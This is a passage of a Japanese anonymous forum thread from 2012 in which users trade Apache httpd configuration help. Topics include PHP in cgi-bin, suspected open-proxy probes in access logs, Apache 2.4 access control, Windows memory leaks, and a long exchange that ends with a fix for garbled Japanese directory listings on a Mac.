いまlinuxの再インストールしてます
すいません遅くて
496DNS未登録さん:2012/02/21(火) 16:08:22.58 ID:???
なんのこっちゃ
497DNS未登録さん:2012/02/23(木) 16:01:28.17 ID:???
nginxスレにも書いちゃったけど…こっちの方が適切かな。

嘘みたいに速い…らしいけど、使ってる人いる?

G-WAN web server
http://gwan.com/
ベンチマーク
http://gwan.ch/benchmark
498DNS未登録さん:2012/02/24(金) 20:22:06.04 ID:???
2.4系が新規リリースされたよーん。
人柱になりたい、新しい物好きはどうぞ。
http://www.apache.org/dist/httpd/Announcement2.4.html
499DNS未登録さん:2012/02/27(月) 15:27:11.30 ID:???
質問はここでもいいんでしょうか。
Apache22+php53を入れたのですが、特定フォルダのphpファイルを実行出来ま
せん。

/usr/local/www/data/info.php ←動く
/usr/local/www/data/cgi-bin/info.php ←動かない
/home/hoge/public_html/cgi-bin/info.php ←動く

動かない場合ですが、ログには
(8)Exec format error: exec of '/usr/local/www/data/cgi-bin/info.php' failed
と出力されます。
httpd.confの設定の問題ではないかと思っているのですが、どこを見直せば
良いでしょうか?
500DNS未登録さん:2012/02/27(月) 16:00:34.27 ID:???
すみません、ScriptAliasを消してキラっと解決しました。
501DNS未登録さん:2012/02/27(月) 16:51:47.09 ID:???
そもそもphpをcgi-binに入れるのが間違い
502DNS未登録さん:2012/02/27(月) 16:55:19.45 ID:???
なんで?cgi-binに入れないんだったらどこに入れるの?
503DNS未登録さん:2012/02/27(月) 17:08:22.42 ID:???
好きなとこ入れたらいい
でもphpをモジュールで動かしてる場合、それはcgiじゃないからね。
他の環境に持っていくときに混乱するかもよ。
504DNS未登録さん:2012/02/27(月) 18:56:54.15 ID:???
cgi-bin に入れなきゃいけないっていう理由は無いよ。

好きなディレクトリに置けばいい。
505DNS未登録さん:2012/02/27(月) 21:14:41.07 ID:???
そしてソース駄々漏れの罠。
506DNS未登録さん:2012/02/27(月) 21:48:21.01 ID:???
その場合cgi-binに入れてても漏れとるわ
507DNS未登録さん:2012/02/28(火) 03:59:31.26 ID:???
性的コンテンツはDocRootにおいて、動的コンテンツはCgi-Bin配下に配置。
世間一般はこんな感じだろJK
508DNS未登録さん:2012/02/28(火) 09:57:29.17 ID:???
Apache will assume that every file in this directory is a CGI program, and will attempt to
execute it, when that particular resource is requested by a client.

この文章はかなり昔からあるはず
509DNS未登録さん:2012/02/29(水) 01:20:41.34 ID:???
>>507
性的コンテンツはR18に置くべき。
510DNS未登録さん:2012/02/29(水) 03:16:29.86 ID:???
そんなときの.xxxドメインだろ?
511DNS未登録さん:2012/02/29(水) 09:02:13.32 ID:???
すまん、教えてくれorz

aceess_logに以下のログが残ってたんだけど
Requestが明らかに外部なんだ、これって
誰か→俺んちのサーバー→そのurlにアクセスって感じになるのかな
これApacheの設定一つで簡単に防げる?
しょうもない質問すまん

2012/02/28,05:10:26,31.44.184.50,"","-","-",GET,"http://allrequestsallowed.com/","PHPSESSID=5gh6ncjh00043WRMURH@NFZDP","1.1",200,1358,"-","","Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12"
512DNS未登録さん:2012/02/29(水) 09:12:14.92 ID:???
LogFormatが謎なんだけど
513511:2012/02/29(水) 09:25:53.55 ID:???
すまん、LogFormatは

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
514DNS未登録さん:2012/02/29(水) 09:41:17.65 ID:???
オールキャッチなvhostが設定されてて、ローカルな/index.htmlを返してるだけじゃないかなあ
オープンプロキシにしてるわけじゃないよね?
515511:2012/02/29(水) 10:02:12.50 ID:???
LoadModuleでvhost〜、proxy〜とかのモジュールは読み込まれてるけど、
Virtual Hostsは全部コメントアウトだし、ProxyRequests Onもコメントアウトされてるから

vhost?とかプロキシの機能は行っていないと思う
516DNS未登録さん:2012/02/29(水) 10:13:00.76 ID:???
思うって…設定読むなりmod_info使うなりしてちゃんと把握しとけって
あと自分で>>511のにアクセスしてどうなったかは試した?
517DNS未登録さん:2012/02/29(水) 10:18:07.74 ID:???
たしかURLが来ると、HostフィールドがURLのホスト名で上書きされる
ほんでHostがallreque...comとなるわけだから、ローカルにそんなホスト
はない → エラーもしくはデフォのバーチャルホストを表示
という感じになるのが標準の挙動だった…と思う

だからGETでURLが指定されても、Proxyの設定してないと外部にはアクセスしないはず
↓こういう怪しげなサイトで、自分ip:portを試せばproxyとして動作してないか確認できる
http://www.checker.freeproxy.ru/checker/

Proxyしてなきゃ無視してもいいけど、してたら塞ぎましょうね
518DNS未登録さん:2012/03/05(月) 12:36:09.22 ID:???
ローカルのみ接続できるようにする場合はこうでいいのでしょうか?
Require all denied
Require ip 127.0.0.1 ::1
それとも1行目はいらず、2行目のみでいいのでしょうか?
519DNS未登録さん:2012/03/05(月) 12:50:23.54 ID:???
ローカルのみ、の意味がlocalhost だけでいいのなら
LISTEN で指定した方が手っ取り早そう。
520DNS未登録さん:2012/03/05(月) 13:29:01.82 ID:???
DIRECTORYでアクセス制御しないでLISTEN 127.0.0.1:80だけでやってたときもあったんですが
アクセスログに海外からの足跡がたくさん残っていたことに気づき、それ以降allowとdenyで制御してました
521DNS未登録さん:2012/03/05(月) 13:54:32.41 ID:???
それIp spoofing通ってるんじゃないのApacheの設定変えてOKつーもんじゃないでしょ
522DNS未登録さん:2012/03/05(月) 17:19:15.51 ID:???
足跡ねえw
523DNS未登録さん:2012/03/05(月) 19:54:08.29 ID:???
またバカにしてー!!もう!!
524DNS未登録さん:2012/03/05(月) 23:24:33.86 ID:???
>>523
ツンデレっぽくて、萌えた。
525DNS未登録さん:2012/03/06(火) 00:34:52.75 ID:???
めんどくさいからしばらくはmod_access_compatでいいやw
526DNS未登録さん:2012/03/06(火) 00:50:57.98 ID:???
>>525
同じくw
どこかで変えようとは思うけど、
検証が面倒くさいのでとりあえずは
access_compat で逃げることにした。
しかし何であんなに大幅に変えたんだろう?
527DNS未登録さん:2012/03/06(火) 11:17:55.69 ID:???
mod_authz_coreのドキュメントを読めばわかるでしょ。
あんな複雑なアクセス制御はこれまでのallow/denyだけでは不可能。
528DNS未登録さん:2012/03/06(火) 15:47:06.56 ID:???
0
529DNS未登録さん:2012/03/07(水) 21:23:20.25 ID:???
これってmod_userdirで分けてるような場合は気にしなくていいのかな

人間とウェブの未来 ≫ Webサーバの仮想ホスティングにおけるパーミッション設定の答え
http://blog.matsumoto-r.jp/?p=1957#respond
530DNS未登録さん:2012/03/07(水) 21:55:02.79 ID:???
どう読んだらそう思うんだ、読むの面倒臭ェ文章だが
531DNS未登録さん:2012/03/07(水) 23:56:34.49 ID:???
>>529
シェルが用意されているのなら、パーミッションはしっかり。
専用鯖とか身内鯖ならパーミッションなんかおざなり。

が普通じゃないのかな。




パーミッションなんか気にしたことねぇやw
532DNS未登録さん:2012/03/08(木) 00:03:04.69 ID:???
apacheが起動してから、それまでの最大同時接続数を調べる方法ってないでしょうか?
533DNS未登録さん:2012/03/08(木) 08:54:07.49 ID:???
>>531
ネットに繋がってないならそれでもいいだろうけれど、
そうでないなら管理者としては失格だな。
534DNS未登録さん:2012/03/09(金) 02:35:10.59 ID:???
>>529
user_dirでもだめ。試してみたけど701とか751だとアウト。これuser_dirでやりがちだよね。

できてないレンサバ多そうだなー
535DNS未登録さん:2012/03/09(金) 02:36:48.90 ID:???
>>531
シェルじゃなくてもperlやphpで何でもできるんじゃね
536DNS未登録さん:2012/03/09(金) 03:51:16.83 ID:???
専用鯖なら管理すべきは自分たちであって、提供するサービスで第三者がスクリプトを置けないなら
パーミッションは考えない。

身内鯖なら、リソースを分けるやつらは身内なわけで、問いただす事ぐらいたやすいわけだ。
もちろん仲間が破壊活動を行わない。という前提だけどね。



っていう意味。
537DNS未登録さん:2012/03/09(金) 06:34:38.89 ID:???
本題のパーミッションから外れてしまうが、どっちかっていうとパーミッションの設定以前に、
ちやんとapacheの設定がされているか?っていう方が大事なんじゃないかな?
chrootとかsuexeとか、どの権限で実行されて、その際にどこまでの許可がされているか?という。
538DNS未登録さん:2012/03/09(金) 07:16:16.69 ID:???
ぱーみっしょんとかめんどくせーからみんなうぃんどうずでよいとおもいます
539DNS未登録さん:2012/03/09(金) 10:53:41.13 ID:???
>>536
パーミッションは内部だけの話でなく、アプリの脆弱性つかれた場合に被害を抑えるための効果もある
専用であれちゃんとやるべきよ
540DNS未登録さん:2012/03/09(金) 11:16:28.88 ID:???
ママのお腹の中にいるんだろ
スルーしとけ
541DNS未登録さん:2012/03/09(金) 11:31:49.40 ID:???
本番に近い形の開発環境を作る場合
cygwinはやめたほうがいいでしょうか?
やっぱり仮想マシンで構築したほうがいいでしょう亜k
542DNS未登録さん:2012/03/09(金) 11:58:58.44 ID:???
うん
543DNS未登録さん:2012/03/09(金) 12:03:07.18 ID:???
LANの中だけの話ならともかく、外部に公開してる時点で身内もクソも無いしな

>>541
その辺は好みだからどっちでもいいと思うけど
問題の切り分けがしやすいほうで構築してた方が便利だと思うよ
544DNS未登録さん:2012/03/09(金) 12:25:06.00 ID:???
cygwin はあくまでもエミュレーション (よく出来てはいるけどね)
本番が cygwin ならそれでもいいけど、本番環境に近づけたいなら仮想マシンが良いかと。


>>539
専用サーバーでもサービス毎にユーザーを作るの?
それが普通ならパーミッションはちゃんとやっておくべきだろうとは思う。
そうじゃなくて1つのユーザーで動いてるなら、ある1つのアプリの脆弱性を突かれた場合、
パーミッションは大して抑止にならないと思うんだけど、ちゃうの?
545DNS未登録さん:2012/03/09(金) 12:39:29.26 ID:i0s/WEu4
546DNS未登録さん:2012/03/14(水) 04:56:00.47 ID:???
apacheで、どんなリクエストが来ても全部
同一の画像かCGI実行結果を200で返したいのですが
どうやるのが簡単でしょうか?
やっぱmod_rewriteいじらないとだめですかね。。
547DNS未登録さん:2012/03/14(水) 10:21:13.04 ID:???
AliasMatch /.* /path/to/hoge.gif
548DNS未登録さん:2012/03/15(木) 17:49:05.81 ID:???
ずっと困ってて目途がつかないので教えてください。
Apache2.2+WindowsXP+PHP5.2.9+Postgresql8.3を使っていて、ApacheにMaxRequestsPerChild=50の設定をしています。
通常は50セッションアクセスがあると、新たなhttpd.exeが起動されるのですが、
1時間に1度程度の割合で新規のhttpd.exeが起動せず、前のhttpd.exeが使われ、httpd.exeのメモリ使用量がどんどん増えて
Apacheが応答を返さない現象が発生します。300Mまで使用量が増えて増加が止まり、Apacheが応答を返さなくなります。
mod_statusを入れてみたのですが、どのセッションが悪さをしているかの検討もつかず、httpd.exeが再起動しない原因がつかめません。

主な設定は次の通りです。
Timeout 60
ThreadsPerChild 512
MaxRequestsPerChild 50
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 10
Win32DisableAcceptEx

何か原因解決方法に心当たりがあったら教えてください。
549DNS未登録さん:2012/03/15(木) 19:13:36.05 ID:???
スレッドは新しくプロセス立ち上がらないっしょ?
あと TCP の(XP 側の制限)を 10 以上しなきゃ駄目なんじゃないの?
550DNS未登録さん:2012/03/15(木) 20:32:39.35 ID:???
俺はこれしか書いてないけど、困ってないなぁ

<IfModule mpm_winnt.c>
#Win32DisableAcceptEx
ThreadsPerChild 256
MaxRequestsPerChild 0
</IfModule>
551DNS未登録さん:2012/03/15(木) 21:30:05.31 ID:???
つーか、XPにそんなサーバっぽい仕事させてる>548に驚きだわ
552DNS未登録さん:2012/03/15(木) 22:17:15.20 ID:???
>>549-550
2年間判らなかった原因がわかりました。
ThreadsPerChildの値を多く取りすぎており、メモリ不足になっていたようです。
メモリに空きはあったのですが、何故かThreadsPerChildを取りすぎると不安定になると判明しました。
うちのサーバーは凄いですよ。Athlon5050eのPCにウェブサービス3つ運営してて
それぞれのレコードが300万件、20万件、2万件あります。
そこらの業務システムより上手く動いてるのですが、Apacheの不安定さだけがネックでした。
553 忍法帖【Lv=2,xxxP】 :2012/03/16(金) 00:29:23.10 ID:???
その程度がまともに動かないほうがおかしいと思うがw
554DNS未登録さん:2012/03/16(金) 02:02:58.41 ID:???
テキストレベルで5万件ぐらいならさばけるのに、DB つかってその安定性を自慢されても・・・
555DNS未登録さん:2012/03/16(金) 03:50:27.93 ID:???
そもそも、Linuxでやれば適当にやっても安定するのに。
556DNS未登録さん:2012/03/16(金) 07:56:58.69 ID:???
winnt+apacheで運用しているのですが、メモリリークが発生します。
LinuxだとMaxRequestsPerChildでプロセスの再起動ができるのですが、winntの場合は
スレッド起動なのでMaxRequestsPerChildが無効なようです。
プロセスを再起動するにはどうしたら良いでしょうか?
557DNS未登録さん:2012/03/16(金) 09:15:00.62 ID:???
>>556
OS側のサポートが切れていてバグも放置されてるので、
さっさと他のOSに移るのがよし。
558DNS未登録さん:2012/03/16(金) 11:25:25.64 ID:???
毎日午前4時に再起動で
559DNS未登録さん:2012/03/16(金) 23:17:18.84 ID:ntoeWgxL
みんなはchrootは設定してる?
560DNS未登録さん:2012/03/17(土) 03:53:46.95 ID:???
なにそれ
561DNS未登録さん:2012/03/17(土) 12:00:51.48 ID:???
>>559
chrootはセキュリティ対策にはならんぞ。
562DNS未登録さん:2012/03/17(土) 14:27:11.10 ID:???
>>561
そうでもないぞ
root権限持ってるやつには無力だが、一般ユーザなら一定の効果はある
最もchrootだけでなくその他にも色々と対策してることが前提だけど

と言いながらapacheでchrootなんて俺はしてないな
563DNS未登録さん:2012/03/17(土) 22:31:58.83 ID:vRXzmeTF
test
564DNS未登録さん:2012/03/18(日) 07:19:49.50 ID:???
>>561
バッファオーバーフローのようなapache経由でコマンドが実行されるような、
潜在的な不具合対策にはなるよ。
565DNS未登録さん:2012/03/20(火) 14:25:58.71 ID:TRVrTLAv
apacheについて質問させて下さい

xxxx.cgiというcgiがあるのですが、これをxxx.cgi/yyyyというcgiの後ろに/と適当な文字を付けてもxxx.cgiが開けてしまいます
xxxx.cgiの中で別の.jsファイルを読んでいるのですが、xxx.cgi/yyyyでアクセスすると上手く.jsファイルにアクセスできていないところを見ると
普通じゃないアクセスになっています
vvvv.htmlファイルの背後に/yyyyなどつけてもnot foundになるのでcgiの時のみ起きている感じです

xxx.cgi/yyyyというありえないパスでアクセスされた場合拒否する設定はあるのでしょうか?
566DNS未登録さん:2012/03/20(火) 14:43:01.85 ID:???
PATH_INFO で調べてみて
567DNS未登録さん:2012/03/20(火) 14:44:59.20 ID:???
Apacheで禁止するならAcceptPathInfoディレクティブだけど
cgi側で何チャラした方がいいような。
568DNS未登録さん:2012/03/20(火) 14:54:25.77 ID:???
ツーちゃんのread.cgiと同じ方法だろ
CGIで弾くならPATH_INFO読めばいいんでね
569DNS未登録さん:2012/03/20(火) 15:06:10.36 ID:???
>>566-568
ありがとうございました
AcceptPathInfo Offで問題なさそうなのでこれで動かしてみます
570DNS未登録さん:2012/03/20(火) 20:50:27.13 ID:???
ちょっと
571DNS未登録さん:2012/03/20(火) 23:24:07.55 ID:???
ちょっとちょっと
572DNS未登録さん:2012/03/22(木) 03:34:37.52 ID:???
OpenSSL 1.0.1 出てるな
TLS v1.1 v1.2 サポートされるから入れとけよ
573DNS未登録さん:2012/03/23(金) 14:21:51.95 ID:???
Apache Server StatusでHOSTやIPアドレスが不明な接続が残った状態になるのですが、
この接続はどうやったら消えるのでしょうか?
TimeOutは60秒にしていますが、60秒経過しても残っています。

0-153 9264 0/65/11146 R 5 156 0.0 1.70 95.31 ? ? ..reading..
574DNS未登録さん:2012/03/26(月) 12:25:25.81 ID:???
>>548
Windows(笑)
575DNS未登録さん:2012/03/26(月) 23:24:02.02 ID:???
11日も前のに今更反応しなくちゃならないのか、大変だな
576DNS未登録さん:2012/03/28(水) 00:22:34.31 ID:???
人間とウェブの未来 - Apache 2.4.1のmod_luaでApacheに介入する(mod_rewriteの終焉?)
http://t.co/lILfEo3S
577DNS未登録さん:2012/03/28(水) 09:53:56.14 ID:???
ちょいと楽しそうやね
578DNS未登録さん:2012/04/09(月) 20:21:19.05 ID:ekQVbd5l
win7へapcche2.2.14または2.2.22をインストールしようとしています。

以前に2.2.14をインストールしていたのですが一旦アンインストールしてhttpd.confを含み設定設定ファイルをすべて削除して
再度2.2.22mataha2.2.14をインストールしたのですが、アンインストール前のhttpd.confをどこからかコピーしているようで
アンインストール --> インストール を何度繰り返してもインストール後何も書き換えていないのにhttpd.confがすでに書き換えられた内容になっています。

これはどこにそのキャッシュ?されているのでしょうか?
また完全にアンインストールするにはどうすればいいのでしょうか?
アンインストールはプログラムと機能よりして、httpd.confなど設定ファイルはProgram Files以下をゴミ箱へゴミ箱はからにしています。
579DNS未登録さん:2012/04/10(火) 03:35:27.16 ID:???
Mac、mampでApacheのローカルディレクトリの日本語が文字化けします
やれることはすべてやりました。
助けて下さい
580DNS未登録さん:2012/04/10(火) 05:08:30.72 ID:???
日本語使うなヴォケェ!!!!
581DNS未登録さん:2012/04/10(火) 15:32:58.66 ID:???
>>579
あちこちで聞いてるみたいだけど、やれることすべてやったんなら
もうやれることは無いだろうな。
582DNS未登録さん:2012/04/10(火) 15:36:04.29 ID:???
>>578
サービスも全部止めた?
roamingで別の場所にあったりしない?
583DNS未登録さん:2012/04/10(火) 17:43:55.39 ID:???
>>581
何かあれば教えてください、お願いします
もう昨日からずっとやってて頭狂いそうな程悩んでます・・・
584DNS未登録さん:2012/04/10(火) 18:29:59.30 ID:???
よくわからんけど文字コードの問題とかじゃないの?
585DNS未登録さん:2012/04/10(火) 18:40:00.92 ID:???
環境がまっくということしかわからんし
何がどう化けて、何が困ってるのかわからないから答えようがない。

具体的にどこにあるファイルをどこからどうやってみたら
どういう風に化けて見えるのか、まで書いてくれよ。
586DNS未登録さん:2012/04/10(火) 18:57:05.57 ID:???
userフォルダをhttp://localhost/でWebブラウザ上から見れるようにしたんですけど
日本語のファイルがã?‚ã?£ã?¡ã?“ã?£ã?¡/なるんです
587DNS未登録さん:2012/04/10(火) 19:18:42.69 ID:???
httpd.confはDefaultCharsetあたりはいじった?
ブラウザのエンコードの設定をSJISとかにしてみ
588DNS未登録さん:2012/04/10(火) 19:54:40.21 ID:???
ブラウザのエンコードの設定をSJISにしてみたんですが
文字化けのままでした
httpd.confのどのへんをいじればいいんでしょうか?すみません無知で
解決しないと何も手につかないので何かアレばすべて試してみます、お願いします
589DNS未登録さん:2012/04/10(火) 20:00:18.60 ID:???
糞窓じゃねーんだからsjisはないだろ
utf-8あたりじゃね
590DNS未登録さん:2012/04/10(火) 20:07:07.00 ID:???
昔のマックはSJISだった。
そんな事より、ApacheがSJISに変換してるケースがあるのだよ。
591DNS未登録さん:2012/04/10(火) 20:15:08.63 ID:???
Firefoxからローカルディレクトリにアクセスしてるんですが
ttps://addons.mozilla.jp/firefox/details/8493
↑このサイトごとに既定の文字エンコーディングを設定可能にするアドオンで
http://localhost/ をutf-8に指定した所、日本語で表示されるようになったんですが
あるサイトから http://localhost/ に入るとやはり文字化けしてしまいます
592DNS未登録さん:2012/04/10(火) 20:19:35.00 ID:???
つーか、何で日本語ディレクトリ名に拘る理由が全然わからん
593DNS未登録さん:2012/04/10(火) 20:28:33.68 ID:???
そうじゃないとダメな理由があるんです。
Apacheの設定もutf8になってると思うんですけどなんで文字化けするんでしょうか?・・・
ttp://himado.in/88896 ※音でます
の動画サイトの→Myソース→フォルダの参照→http://localhost/→フォルダを開く
で見ると文字化けするんです
普通にhttp://localhost/を開くと文字化けせずみれるんですけど
なんの違いなんでしょうか
594DNS未登録さん:2012/04/10(火) 20:42:46.52 ID:???
どういうことがしたいかというと、上の動画サイトのプレイヤーを使い
ローカルにある自吸mp4ファイルを読み込みたいんです
お願いします。
595DNS未登録さん:2012/04/10(火) 21:17:12.86 ID:???
それは、そのプレーヤーが特定の文字コードしか想定してないからじゃないのか?

ローカルの mp4 のファイルをプレーヤーに投げたいだけなら、
簡単だから自前で作れば?
596DNS未登録さん:2012/04/10(火) 21:39:21.56 ID:???
Apache入れたらまず何すればいいの?
597DNS未登録さん:2012/04/10(火) 21:44:08.92 ID:???
へ?w
598DNS未登録さん:2012/04/10(火) 22:24:10.33 ID:???
>>596
まず、服を脱ぎます
599DNS未登録さん:2012/04/10(火) 22:34:36.85 ID:???
>>596
次にコーヒーを淹れます。
600DNS未登録さん:2012/04/11(水) 03:22:04.86 ID:???
その前に服を畳んでください。
601DNS未登録さん:2012/04/11(水) 03:33:22.06 ID:???
I'm a teapot
602DNS未登録さん:2012/04/11(水) 07:43:09.77 ID:???
>>595
http://localhost/ のディレクトリに日本語ファイル入れるの自体が間違いなんですかね?
文字化けがなにしても直らない・・自分が思いつくことは全てやりました・・・
諦めます・・・・・・
でも、一つ負におちないのがhttp://localhost/ から直だと文字化けせず
上に貼ったサイトから、http://localhost/ を参照すると文字化けする
ここなんですよね、
そのサイトのスクリプトとか何かが原因なんですかね?
ここなんですよね、諦めきれない部分 。
603DNS未登録さん:2012/04/11(水) 08:26:22.89 ID:???
バージョンも何も書いてないけれど、Apache2.0系とかだったりしないか?
っつーかやり尽くした割に一切情報が書いてねぇし。
DefaultCharsetは結局試したかどうか書いてねぇし。
要件満たすかわからんけれど、単純にディレクトリのファイル一覧を文字化けさせたくない程度なら、
文字コード指定したhtml形式でファイル一覧表示するようなcgiでも作ったら?
604DNS未登録さん:2012/04/11(水) 08:33:56.60 ID:???
ここからはapacheのバージョン次第なので、1.3系だったりしたら全然当てはまらないが、
レスポンスヘッダのContent-Typeに、異なる文字コードがcharsetで送られてる可能性はある。
確かIndexOption Charsetとかで指定出来るはず。
605DNS未登録さん:2012/04/11(水) 14:18:44.87 ID:???
まず送出側でデータが潰れてるのか、受信側で転換テーブルがハズレなのか切り分ける必要がある
606DNS未登録さん:2012/04/11(水) 17:13:31.18 ID:???
どの文字がどう化けたかわかれば文字コードもわかるのに
607DNS未登録さん:2012/04/11(水) 18:14:58.17 ID:???
>>606
文字コードは>>591でUTF8だとわかる。
608DNS未登録さん:2012/04/12(木) 04:07:37.02 ID:???
要するにどうすればいいの?(´・ω・`)もうわかんないよ
Apacheは多分最新のやつです・・
609DNS未登録さん:2012/04/12(木) 05:43:27.93 ID:???
これはひどい
610DNS未登録さん:2012/04/12(木) 05:49:06.06 ID:???
>>608
お前には無理だから素直に諦めろ。
いくらなんでも酷すぎる。
調べる気がないとしか思えない。
611DNS未登録さん:2012/04/12(木) 06:18:31.07 ID:???
だって完全に無知な状態でApacheの設定変更もして
utf-8化もしたんだよ、もう自分でできることはやったよ・・
それでも日本語にならない、訳がわからないよ
612DNS未登録さん:2012/04/12(木) 07:23:50.25 ID:???
>>611
俺にはここまで言われても具体的な環境が一切書かれていないのに、
回答を求めるお前が理解出来ないよ、、、
613DNS未登録さん:2012/04/12(木) 07:39:52.21 ID:???
>>611
Macと一言書いてあるが、LionとSnowLeopardの区別も出来ないか?
それぐらいできるだろ?
apacheのバージョンも多分最新とか書いているが、Lionのマイナーバージョンの最新と、SnowLeopardのマイナーバージョンの最新を、区別無く『最新』と言われて、
お前は通じるか?
お前が言ってることはそういう話。
エスパーじゃねぇんだから、それだけの情報じゃわからねぇよ。

まだバージョンの確認の仕方聞かれる方がマシだ。
本当に今頃聞いてきそうだが。
614DNS未登録さん:2012/04/12(木) 07:55:52.07 ID:???
>>611
>>603の件は?
回答未済もそうだけれど、cgi作るって奴。
apache側の設定にとらわれないから、これなら出来るんじゃね?
615DNS未登録さん:2012/04/12(木) 08:29:19.53 ID:???
cgi?・・・
OSはスノレパ10.6.8です
アパッチのバージョンは、帰ったら調べてみます・・・
すみません
616DNS未登録さん:2012/04/12(木) 11:06:00.97 ID:???
他人頼みのやつは、踏み台サーバー作るだけ
617DNS未登録さん:2012/04/12(木) 14:27:34.58 ID:???
俺ならその程度の目的なら動画共有サイト使う
そこまでして自鯖に寄生させてやる理由が見つからん
618DNS未登録さん:2012/04/12(木) 18:27:55.36 ID:???
で、実際にデータが化けてるのか文字コードの判別に失敗してるのかは分かったの?
619DNS未登録さん:2012/04/12(木) 23:34:07.36 ID:???
>>618
文字コードの判別に失敗してると思う
UTF8で表示させられれば化けないと思う
JavaScript的なあれをUTF8化しないとダメなのかな・・?
620DNS未登録さん:2012/04/13(金) 00:22:31.16 ID:???
やる気あんのかw
621DNS未登録さん:2012/04/13(金) 01:13:11.26 ID:???
やる気はありますが連日連夜この事ばかりで辛いです
このサイトが悪い気がしてきた。
だってhttp://localhost/  に直アクセスしたら文字化けしないんだよ?。
「暇じゃないけどお前の為にちょっと試してやるよ」っていう寛大な方よかったら
何で文字化けするかちょっと確認してください

ttp://himado.in/88896 (適当な動画ですが音でますので注意)
にアクセスして、上の方に
[最大化] [登録者ページ] [Myシリーズに追加] [Myソース] と並んでるので
Myソースをクリック、3つ目にある、フォルダの参照から
http://localhost/  【フォルダを開く】とあるので
そこからローカルディレクトリ開いてみて下さい
何しても何故か文字化けするので・・。
622DNS未登録さん:2012/04/13(金) 03:28:43.51 ID:???
> 文字コードの判別に失敗してると思う
> UTF8で表示させられれば化けないと思う

ブラウザの誤判定ならページ全体が化けるはずだし、誤判定しているかどうかはFFのプルダウンメニュー見れば分かるでしょ
自分とこの問題なのか、himadoの問題なのかは、通信をキャプチャして自分が正しいデータを送信しているか見れば切り分けられる
これを最初にやるべき

そのサービスが utf-8 のインデクスを送信すれば問題なく表示されるものならば
送信しているデータが化けているか、あるいはデータは正しいが間違った charset を送信しているかのどちらか
の可能性が高い、と考えるのが普通だわね

まあいずれにしろ確認すればすぐ分かること

ところで URL は一部のアルファベットで構成されるもので、日本語の URL というものはない
ローカルで何と呼ぼうが勝手だが、www 上ではそれは URL 以外の何かでしかないので
もし使えなかったとしても不具合ではない

http://www.ring.gr.jp/pub/doc/RFC/rfc1738.txt
http://www.ring.gr.jp/pub/doc/RFC/rfc1630.txt
623DNS未登録さん:2012/04/13(金) 04:25:12.08 ID:???
化け方はlatin-1ぽい
何かのデフォだね
624DNS未登録さん:2012/04/13(金) 06:27:56.84 ID:???
ぽい とか 思う とか
625DNS未登録さん:2012/04/13(金) 06:37:20.79 ID:???
>>621
どこで確認させる気だ。
サーバ機で確認させる気か?
Apache動かしているPCなりじゃないと動作確認出来ないだろ、それじゃ…

まぁ、>>623みたいに確認できる奴もいるようだが。
626DNS未登録さん:2012/04/13(金) 06:38:39.94 ID:???
結局、Apacheのバージョンから何から何まで未回答のまま。
627DNS未登録さん:2012/04/13(金) 07:21:16.63 ID:???
そんな状態で答え続けるアホが居るからだろ
628DNS未登録さん:2012/04/13(金) 11:34:36.84 ID:???
アホの子の相手なんてやめてスルーすれば良いのに・・・
629DNS未登録さん:2012/04/13(金) 19:30:50.26 ID:???
アホの子程かわいいもんでしょ?^q^エヘヘ
ApacheのバージョンはServer version: Apache/2.2.21 (Unix)
って書いてありました。
630DNS未登録さん:2012/04/13(金) 20:06:36.78 ID:???
ちっとも最新じゃねぇ
631DNS未登録さん:2012/04/13(金) 21:24:00.77 ID:???
なんかちょっと間違えちゃったのかも知れない・・
・・すいません
632DNS未登録さん:2012/04/13(金) 22:56:26.26 ID:???
大漁だ
633DNS未登録さん:2012/04/13(金) 23:33:54.73 ID:???
あ・・変な流れになってきた・・せっかく親切で紳士な方が色々試して教えてくれたのに・・
634DNS未登録さん:2012/04/14(土) 01:46:33.04 ID:???
>>629
試しにconfファイルに
IndexOptions Charset=UTF-8
とか書いてみろ。
635DNS未登録さん:2012/04/14(土) 02:19:19.53 ID:???
>>634
ほっとけよカス
お前のレスのせいでだらだらと同じやり取りが続くんだぞ
改善の余地が無いなら放置しろ
636DNS未登録さん:2012/04/14(土) 08:13:39.15 ID:???
>>634
confファイルのどこですか?皆さんすいません
637DNS未登録さん:2012/04/14(土) 11:50:25.48 ID:???
>>636
ggrks
638DNS未登録さん:2012/04/14(土) 15:02:30.40 ID:???
>>634
ああああああああああああああああ!!!!!!!!!!!!!!!!!!
できたああああああああああああああああああああ
ttp://blog.dtpwiki.jp/dtp/2011/02/indexoptions-ch.html
ここにも書いてあるんだけど
「Firefoxは、ディレクトリインデックスを生成するHTMLの中で、meta要素で指定するcharsetは無視しちゃい、レスポンスヘッダのほうに書かれているエンコーディング(ISO-8859-1)で表示されるようなんです。」
だそうだ、こんな一行を追加しただけで全てが解決したよ!!
すごいよ!!!!一週間頑張ったかいあったよ皆!!ありがとう

お前ら人間あきらめないことが大切なんやで^^
全くの無知でも頑張れば何でもできるんやで^^
皆ありがとうエヘヘwwwwwwフヒヒwwwwwwwwww
639DNS未登録さん:2012/04/14(土) 17:38:44.28 ID:???
この板でのcharsetはhttpheaderの事

答えを今まで実行せずこの始末
640DNS未登録さん:2012/04/14(土) 17:45:35.36 ID:???
LDや自閉症とも仲良くやって行きましょうよ
暇板ですし
641DNS未登録さん:2012/04/15(日) 12:08:11.71 ID:???
>>604に具体的に書いてあったのに、、、、
結局こうなったか。
642DNS未登録さん:2012/04/15(日) 14:58:36.94 ID:???
馬鹿に親切心を出すとどうなるかの良い例が出来たな
最も最後まで解決せずに何度も同じやり取りを繰り返すのが基本型なんだが
643DNS未登録さん:2012/04/15(日) 17:20:10.17 ID:???
だって無知な人に言葉だけで、しかも難しい英語とか用語みたいなの使われてもわかんないよ
どこをどうすればいいって言ってくれなきゃわかんない
644DNS未登録さん:2012/04/15(日) 17:23:44.60 ID:???
bakaなら本でも読んで勉強すればいいんじゃないかなw
645DNS未登録さん:2012/04/15(日) 17:37:23.46 ID:???
>>643
それは『やれることはすべてやりました』と言い切った奴の言い訳じゃないな。
結局何一つやってなかったじゃないか。
ここまでにいくつの問を無視していたか見返してみろ。
646DNS未登録さん:2012/04/15(日) 18:04:02.76 ID:???
>>645
単に
「apacheの日本語マニュアルを探す」とか、
「スレで出てきたわからない単語をググってみる」とか、
極普通の事だと思っていることが、
奴には『出来ない事』だっただけだろ。
出来ることやったなら、後は全部そういう事だろ。
